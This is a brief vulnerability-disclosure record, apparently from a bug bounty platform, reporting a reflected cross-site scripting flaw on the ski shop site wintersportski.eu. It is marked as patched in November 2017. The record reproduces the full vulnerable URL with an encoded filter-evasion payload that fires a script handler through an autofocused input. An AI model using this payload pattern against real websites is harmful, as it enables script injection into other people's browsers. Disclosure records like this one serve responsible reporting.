wintersportski.eu XSS vulnerability

Vulnerable URL: http://www.wintersportski.eu/skien.html?Realm==0=duijvestein+ski+shop%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Autofocus%20/;%20Onfocus=confirm%27OPENBUGBOUNTY%27%20//%3E%3CSvg%3E=10=1151 Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:|...